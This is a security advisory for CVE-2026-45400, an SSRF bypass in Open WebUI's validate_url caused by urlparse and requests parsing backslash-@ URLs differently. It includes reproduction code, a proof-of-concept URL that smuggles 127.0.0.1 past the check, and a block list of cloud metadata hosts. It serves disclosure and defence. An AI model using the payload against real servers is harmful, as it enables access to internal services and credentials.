if parsed_url.scheme not in ["http", "https"]:
log.warning(
f"Blocked non-HTTP(S) protocol: {parsed_url.scheme} in URL: {url}"
)
raise ValueError(INVALID_URL)
# Blocklist check using unified filtering logic
if WEB_FETCH_FILTER_LIST:
if not is_string_allowed(url, WEB_FETCH_FILTER_LIST):
log.warning(f"URL blocked by filter list: {url}")
raise ValueError(INVALID_URL)
if not ENABLE_RAG_LOCAL_WEB_FETCH:
# Local web fetch is disabled, filter out any URLs that resolve to private IP addresses
parsed_url = urllib.parse.urlparse(url)
# Get IPv4 and IPv6 addresses
ipv4_addresses, ipv6_addresses = resolve_hostname(parsed_url.hostname)
# Check if any of the resolved addresses are private
# This is technically still vulnerable to DNS rebinding attacks, as we don't control WebBaseLoader
for ip in ipv4_addresses:
if _ipv4_private(ip):
raise ValueError(INVALID_URL)
for ip in ipv6_addresses:
if _ipv6_private(ip):
raise ValueError(INVALID_URL)
return True
elif isinstance(url, Sequence):
return all(validate_url(u) for u in url)
else:
return False
if __name__ == "__main__":
logging.basicConfig(level=logging.INFO)
# url = "https://127.0.0.1:6666\@1.1.1.1"
url = "https://127.0.0.1:6666"
validate_url(url)
response = requests.get(url)
print(response.text)
As you can see, the current check on 127.0.0.1:6666 successfully identified it as an internal network IP and blocked it.
However, for https://127.0.0.1:6666\@1.1.1.1/, the hostname extracted by validate_url is 1.1.1.1, which is considered a public IP address and therefore passes validation. In reality, this URL is being used to request the internal IP address 127.0.0.1:6666, resulting in an SSRF bypass.
PoC
http://127.0.0.1:6666\@baidu.com
Impact
SSRF
Severity
8.5 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.9.4"
},
"package": {
"ecosystem": "PyPI",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45400"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T20:27:00Z",
"nvd_published_at": "2026-05-15T21:16:38Z",
"severity": "HIGH"
},
"details": "### Summary\nIn the open-webui project, a parsing difference between the urlparse and requests libraries led to an SSRF bypass vulnerability.\n\n### Details\nIn the current project, URL validation is performed using the function validate_url.\n\n\u003cimg width=\"1323\" height=\"1145\" alt=\"QQ20260322-202854-22-1\" src=\"https://github.com/user-attachments/assets/896d19f2-c7c3-499a-9052-12aea756ac47\" /\u003e\n\nThe current checking logic uses urlparse to parse the hostname part of the URL for verification.\n\n\u003cimg width=\"1122\" height=\"429\" alt=\"QQ20260322-203014-22-2\" src=\"https://github.com/user-attachments/assets/653520e9-e311-4a5e-8345-a2446e217d88\" /\u003e\n\nHowever, there are actually differences in parsing between urlparse and the library that actually sends the request. For example, in files.py, validate_url is used first for URL validation, and then requests.get is used to send the request.\n\n\u003cimg width=\"1269\" height=\"915\" alt=\"QQ20260322-203122-22-3\" src=\"https://github.com/user-attachments/assets/f200aa06-9190-425e-9659-1ecaf95f806b\" /\u003e\n\nThe core issue: `urlparse()` and `requests` disagree on which host a URL like `http://127.0.0.1:6666\\@1.1.1.1` points to:\n\n- `urlparse()` treats `\\` as a regular character and `@` as the userinfo-host delimiter, so it extracts hostname as `1.1.1.1` (public)\n- `requests` treats `\\` as a path character, connecting to `127.0.0.1` (internal)\n\nBelow is a test code I wrote following the open-webui code.\n```\nfrom __future__ import annotations\n\nimport ipaddress\nimport logging\nimport os\nimport socket\nimport urllib.parse\nimport urllib.request\nfrom typing import Optional, Sequence, Union\nimport requests\n\nlog = logging.getLogger(__name__)\n\n# Same text as open_webui.constants.ERROR_MESSAGES.INVALID_URL\nINVALID_URL = (\n \"Oops! The URL you provided is invalid. Please double-check and try again.\"\n)\n\n# Same semantics as open_webui.config (ENABLE_RAG_LOCAL_WEB_FETCH / WEB_FETCH_FILTER_LIST)\nENABLE_RAG_LOCAL_WEB_FETCH = (\n os.getenv(\"ENABLE_RAG_LOCAL_WEB_FETCH\", \"False\").lower() == \"true\"\n)\n\n_DEFAULT_WEB_FETCH_FILTER_LIST = [\n \"!169.254.169.254\",\n \"!fd00:ec2::254\",\n \"!metadata.google.internal\",\n \"!metadata.azure.com\",\n \"!100.100.100.200\",\n]\n_web_fetch_filter_env = os.getenv(\"WEB_FETCH_FILTER_LIST\", \"\")\nif _web_fetch_filter_env == \"\":\n _web_fetch_filter_env_list: list[str] = []\nelse:\n _web_fetch_filter_env_list = [\n item.strip()\n for item in _web_fetch_filter_env.split(\",\")\n if item.strip()\n ]\nWEB_FETCH_FILTER_LIST = list(\n set(_DEFAULT_WEB_FETCH_FILTER_LIST + _web_fetch_filter_env_list)\n)\n\n\ndef get_allow_block_lists(filter_list):\n allow_list = []\n block_list = []\n\n if filter_list:\n for d in filter_list:\n if d.startswith(\"!\"):\n block_list.append(d[1:].strip())\n else:\n allow_list.append(d.strip())\n\n return allow_list, block_list\n\n\ndef is_string_allowed(\n string: Union[str, Sequence[str]], filter_list: Optional[list[str]] = None\n) -\u003e bool:\n if not filter_list:\n return True\n\n allow_list, block_list = get_allow_block_lists(filter_list)\n strings = [string] if isinstance(string, str) else list(string)\n\n if allow_list:\n if not any(s.endswith(allowed) for s in strings for allowed in allow_list):\n return False\n\n if any(s.endswith(blocked) for s in strings for blocked in block_list):\n return False\n\n return True\n\n\ndef resolve_hostname(hostname):\n # Get address information\n addr_info = socket.getaddrinfo(hostname, None)\n\n # Extract IP addresses from address information\n ipv4_addresses = [info[4][0] for info in addr_info if info[0] == socket.AF_INET]\n ipv6_addresses = [info[4][0] for info in addr_info if info[0] == socket.AF_INET6]\n\n return ipv4_addresses, ipv6_addresses\n\n\ndef _validators_url_accept(url: str) -\u003e bool:\n \"\"\"\n Stand-in for python-validators url(): True if string looks like http(s) URL with host.\n \"\"\"\n try:\n u = url.strip()\n if not u:\n return False\n p = urllib.parse.urlparse(u)\n if p.scheme not in (\"http\", \"https\"):\n return False\n if not p.netloc:\n return False\n return True\n except Exception:\n return False\n\n\ndef _ipv4_private(ip: str) -\u003e bool:\n try:\n a = ipaddress.ip_address(ip)\n return a.version == 4 and a.is_private\n except ValueError:\n return False\n\n\ndef _ipv6_private(ip: str) -\u003e bool:\n try:\n a = ipaddress.ip_address(ip)\n return a.version == 6 and a.is_private\n except ValueError:\n return False\n\n\ndef validate_url(url: Union[str, Sequence[str]]):\n if isinstance(url, str):\n if not _validators_url_accept(url):\n raise ValueError(INVALID_URL)\n\n parsed_url = urllib.parse.urlparse(url)\n\n # Protocol validation - only allow http/https\n if parsed_url.scheme not in [\"http\", \"https\"]:\n log.warning(\n f\"Blocked non-HTTP(S) protocol: {parsed_url.scheme} in URL: {url}\"\n )\n raise ValueError(INVALID_URL)\n\n # Blocklist check using unified filtering logic\n if WEB_FETCH_FILTER_LIST:\n if not is_string_allowed(url, WEB_FETCH_FILTER_LIST):\n log.warning(f\"URL blocked by filter list: {url}\")\n raise ValueError(INVALID_URL)\n\n if not ENABLE_RAG_LOCAL_WEB_FETCH:\n # Local web fetch is disabled, filter out any URLs that resolve to private IP addresses\n parsed_url = urllib.parse.urlparse(url)\n # Get IPv4 and IPv6 addresses\n ipv4_addresses, ipv6_addresses = resolve_hostname(parsed_url.hostname)\n # Check if any of the resolved addresses are private\n # This is technically still vulnerable to DNS rebinding attacks, as we don\u0027t control WebBaseLoader\n for ip in ipv4_addresses:\n if _ipv4_private(ip):\n raise ValueError(INVALID_URL)\n for ip in ipv6_addresses:\n if _ipv6_private(ip):\n raise ValueError(INVALID_URL)\n return True\n elif isinstance(url, Sequence):\n return all(validate_url(u) for u in url)\n else:\n return False\n\nif __name__ == \"__main__\":\n logging.basicConfig(level=logging.INFO)\n # url = \"https://127.0.0.1:6666\\@1.1.1.1\"\n url = \"https://127.0.0.1:6666\"\n validate_url(url)\n response = requests.get(url)\n print(response.text)\n\n```\nAs you can see, the current check on 127.0.0.1:6666 successfully identified it as an internal network IP and blocked it.\n\n\u003cimg width=\"1428\" height=\"273\" alt=\"QQ20260322-203503-22-4\" src=\"https://github.com/user-attachments/assets/cf29b639-d4fe-409e-a516-2424d608739f\" /\u003e\n\nHowever, for https://127.0.0.1:6666\\@1.1.1.1/, the hostname extracted by validate_url is 1.1.1.1, which is considered a public IP address and therefore passes validation. In reality, this URL is being used to request the internal IP address 127.0.0.1:6666, resulting in an SSRF bypass.\n\n\u003cimg width=\"2255\" height=\"786\" alt=\"QQ20260322-203750-22-5\" src=\"https://github.com/user-attachments/assets/050bc6a4-760f-4d7a-8b52-056778097cd1\" /\u003e\n\n### PoC\n```\nhttp://127.0.0.1:6666\\@baidu.com\n```\n\n### Impact\nSSRF",
"id": "GHSA-8w7q-q5jp-jvgx",
"modified": "2026-05-15T23:55:29Z",
"published": "2026-05-14T20:27:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-8w7q-q5jp-jvgx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45400"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
},
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/releases/tag/v0.9.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Open WebUI has a Server-Side Request Forgery (SSRF) bypass in `validate_url`"
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.